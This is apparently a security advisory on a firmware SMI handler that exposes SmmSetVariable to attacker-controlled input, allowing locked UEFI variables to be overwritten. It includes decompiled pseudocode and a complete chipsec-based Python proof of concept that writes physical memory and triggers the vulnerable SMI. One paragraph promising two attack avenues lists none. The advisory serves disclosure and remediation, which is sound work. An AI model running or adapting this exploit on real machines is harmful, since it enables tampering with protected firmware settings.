An attacker can exploit this vulnerability to arbitrarily invoke SetVariable in System Management Mode (SMM) with attacker-controlled parameters. GetVariable and SetVariable are normally accessible during boot and runtime phases by using the Runtime Services table. However, in this case SetVariable is called from a SMI handler which leads to bypassing different security mechanisms. In particular, SetVariable called from SMM is allowed to overwrite locked variables.
Binarly REsearch Team has discovered a SMI handler that passes attacker controlled arguments to SmmSetVariable() without any sort of filtering/sanitization.
Device/FirmwareFile NameSHA256 (File PE32 section)File GUIDJ1CN38WWIhisiServicesSmm5531a0720cf7b72d99937276df70d7971a137630d5ec8958e1a19f1dee989ff687c2106e-8790-459d-bd44-2ef32a68c3f9
An attacker can exploit this vulnerability to arbitrarily invoke SetVariable in System Management Mode (SMM) with attacker-controlled parameters. GetVariable and SetVariable are normally accessible during boot and runtime phases by using the Runtime Services table. However, in this case SetVariable is called from a SMI handler which leads to bypassing different security mechanisms. In particular, SetVariable called from SMM is allowed to overwrite locked variables.
The vulnerability exists in child SW SMI handler number 0xEF
located at offset 0x828c
in the binary. The pseudocode for the function that contains the arbitrary call to SetVarible is shown below:
if ( result >= 0 )
{
InputPtr1 = ReadFromRegBuffer(44);
InputPtr2 = ReadFromRegBuffer(45);
if ( !PtrIsInsideSpecialBuffer(InputPtr1, 16i64) )
return 32811i64;
if ( !PtrIsInsideSpecialBuffer(InputPtr2, 32i64) )
return 32811i64;
Data = &InputPtr2->Data;
if ( !ChecksVariableNamePtr(InputPtr1->VariableName) )
return 32811i64;
DataSize = InputPtr2->DataSize;
if ( InputPtr2->DataSize )
{
if ( !PtrIsInsideSpecialBuffer(&InputPtr2->Data, DataSize) )
return 32811i64;
}
VariableName = InputPtr1->VariableName;
v6 = 0i64;
if ( *InputPtr1->VariableName )
{
do
{
VariableName += 2;
++v6;
}
while ( *VariableName );
}
if ( &InputPtr1->VariableName[2 * v6 + 2] <= InputPtr2 || InputPtr1 >= (&InputPtr2->Data + InputPtr2->DataSize) )
{
CheckSum = 0;
for ( i = 0i64; i < DataSize; CheckSum += v9 )
v9 = *(Data + i++);
if ( CheckSum + BYTE2(InputPtr2->CheckSum) )
{
return 32786i64;
}
else
{
Attributes = *&InputPtr2->Attributes;
if ( !Attributes )
{
Attributes = 7i64;
*&InputPtr2->Attributes = 7;
}
v11 = 32788i64;
if ( gEfiSmmVariableProtocol )
{
v12 = (gEfiSmmVariableProtocol->SmmSetVariable)(
InputPtr1->VariableName,
InputPtr1,
Attributes,
DataSize,
Data);
if ( v12 < 0 )
return 32788i64;
return v12;
}
return v11;
}
}
else
{
return 32811i64;
}
}
return result;
The SMI handler starts by retrieving two pointers to input buffers (InputPtr1 and InputPtr2) and performing a number of security checks, likely to prevent any form of confused deputy attack where a SMI handler is tricked into writing its own SMRAM memory. It then calculate a simple checksum over the variable data, and checks that it matches the checksum provided in the input buffers. Finally, it calls the SmmSetVariable() function by passing arguments that directly derived from the attacker-controlled input buffers (InputPtr1 and InputPtr2).
This makes the functionality of EFI_SMM_VARIABLE_PROTOCOL
to be fully exposed to the runtime, which in turn means the variable protection mechanism such as RequestToLock()
could be bypassed by a potential attacker.
To exploit this issue, BINARLY efiXplorer team identified a locked variable called "IhisiParamBuffer" (GUID: "92e59835-5f42-4e0b-9a84-47c7810ea806") and tried to overwrite its value. Our team successfully demonstrated that this variable can only be overwritten by using the method described in this advisory. Below is the PoC we developed to test this issue:
import ctypes
import struct
import uuid
import chipsec.chipset
from chipsec.hal.interrupts import Interrupts
from chipsec.hal.uefi import UEFI
cs = chipsec.chipset.cs()
cs.init("ADL", True, True)
uefi = UEFI(cs)
intr = Interrupts(cs)
IHISI_SW_SMI = 0xEF
class IhisiParamStruct(ctypes.LittleEndianStructure):
_pack_ = 1
_fields_ = [
("Size", ctypes.c_uint32),
("Reserved", ctypes.c_uint32),
("Param1", ctypes.c_uint64),
("Param2", ctypes.c_uint64),
("Param3", ctypes.c_uint64),
("Param4", ctypes.c_uint64),
("Param5", ctypes.c_uint64),
("Param6", ctypes.c_uint64),
("Param7", ctypes.c_uint64),
("Param8", ctypes.c_uint64),
]
def get_param_buffer_address():
param_buffer = uefi.get_EFI_variable(
"IhisiParamBuffer",
"92e59835-5f42-4e0b-9a84-47c7810ea806",
)
param_buffer_addr = struct.unpack("<Q", param_buffer)[0]
print(f"{param_buffer_addr = :#x}")
return param_buffer_addr
PARAM_BUFFER_ADDRESS = get_param_buffer_address()
def ihisi_get_command_buffer():
command = 0x83
buffer = IhisiParamStruct()
buffer.Size = 0x48
buffer.Param1 = IHISI_SW_SMI | (command << 8)
buffer.Param2 = 0x2448324F # $H2O
buffer.Param3 = 0
buffer.Param4 = 0xB2 # SoftwareSmiPort
buffer.Param5 = 0
buffer.Param6 = 0
buffer.Param7 = 0
buffer.Param8 = 0
# write new buffer
cs.helper.write_physical_mem(PARAM_BUFFER_ADDRESS, 0x48, bytes(buffer))
_res = intr.send_SW_SMI(0, IHISI_SW_SMI, 0, 0, 0, 0, 0, 0, 0)
ihisi_status = struct.unpack(
"<I", cs.helper.read_physical_mem(PARAM_BUFFER_ADDRESS + 8, 4)
)[0]
print(f"Get command buffer status: {buffer.Param1} {ihisi_status}")
cmd_buffer = struct.unpack(
"<Q", cs.helper.read_physical_mem(PARAM_BUFFER_ADDRESS + 0x18, 8)
)[0]
cmd_buffer_size = struct.unpack(
"<Q", cs.helper.read_physical_mem(PARAM_BUFFER_ADDRESS + 0x20, 8)
)[0]
return cmd_buffer, cmd_buffer_size
def get_checksum(data):
sum = 0
for b in data:
sum = (sum + b) & 0xFF
return (~sum + 1) & 0xFF
def prepare_target_var_metadata(buffer):
# pass security check
cs.helper.write_physical_mem(buffer + 0x1D, 1, struct.pack("<B", 0x10))
cs.helper.write_physical_mem(buffer, 12, b"$H2O$Var$Tbl")
# set Attributes
attributes = 7
cs.helper.write_physical_mem(buffer + 0x14, 4, struct.pack("<I", attributes))
# set variable data
data = uefi.get_EFI_variable(
"IhisiParamBuffer",
"92e59835-5f42-4e0b-9a84-47c7810ea806",
)
old_buffer = struct.unpack("<Q", data)[0]
print(f"old buffer: {old_buffer:#x}")
# new_buffer = old_buffer + 0x1000
new_buffer = 0x419AAF98 + 0x1000
data = struct.pack("<Q", new_buffer)
print(f"new buffer: {new_buffer:#x}")
cs.helper.write_physical_mem(buffer + 0x20, len(data), data)
# set DataSize
data_size = len(data)
cs.helper.write_physical_mem(buffer + 0x10, 4, struct.pack("<I", data_size))
# set checksum
cs.helper.write_physical_mem(
buffer + 0x1E, 1, struct.pack("<B", get_checksum(data))
)
def prepare_target_var_buffer(buffer):
vendor_guid = "92e59835-5f42-4e0b-9a84-47c7810ea806"
vendor_guid_bytes_le = uuid.UUID(vendor_guid).bytes_le
cs.helper.write_physical_mem(buffer, 16, vendor_guid_bytes_le)
variable_name = "IhisiParamBuffer"
variable_name_utf16_le = variable_name.encode("utf-16le")
cs.helper.write_physical_mem(
buffer + 16, len(variable_name_utf16_le), variable_name_utf16_le
)
def vats_write_test():
cmd_buffer, cmd_buffer_size = ihisi_get_command_buffer()
print(f"{cmd_buffer = :#x} (size: {cmd_buffer_size:#x})")
target_var_metadata = cmd_buffer + 0x1000
target_var_buffer = cmd_buffer + 0x2000
# S01Kn_VatsWrite0000 (VatsWrite)
command = 0x01
buffer = IhisiParamStruct()
buffer.Size = 0x48
buffer.Param1 = IHISI_SW_SMI | (command << 8)
buffer.Param2 = 0x2448324F # $H2O
buffer.Param3 = 0
buffer.Param4 = 0xB2 # SoftwareSmiPort
buffer.Param5 = target_var_buffer
buffer.Param6 = target_var_metadata
buffer.Param7 = 0
buffer.Param8 = 0
prepare_target_var_metadata(target_var_metadata)
prepare_target_var_buffer(target_var_buffer)
cs.helper.write_physical_mem(PARAM_BUFFER_ADDRESS, 0x48, bytes(buffer))
_res = intr.send_SW_SMI(0, IHISI_SW_SMI, 0, 0, 0, 0, 0, 0, 0)
ihisi_status = struct.unpack(
"<I", cs.helper.read_physical_mem(PARAM_BUFFER_ADDRESS + 8, 4)
)[0]
print(f"VatsWrite status: {buffer.Param1} {ihisi_status}")
if __name__ == "__main__":
vats_write_test()
Overwriting locked variables does not represent a vulnerability per se. For this reason, the BINARLY efiXplorer team went a step further and identified two possible venues that can be used by attackers to exploit this issue:
A possible way to fix this vulnerability is to close the VatsWrite
IHISI service for runtime or to check if a variable is locked before overwriting it.
This bug is subject to a 90 day disclosure deadline. After 90 days elapsed or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public.
BINARLY efiXplorer team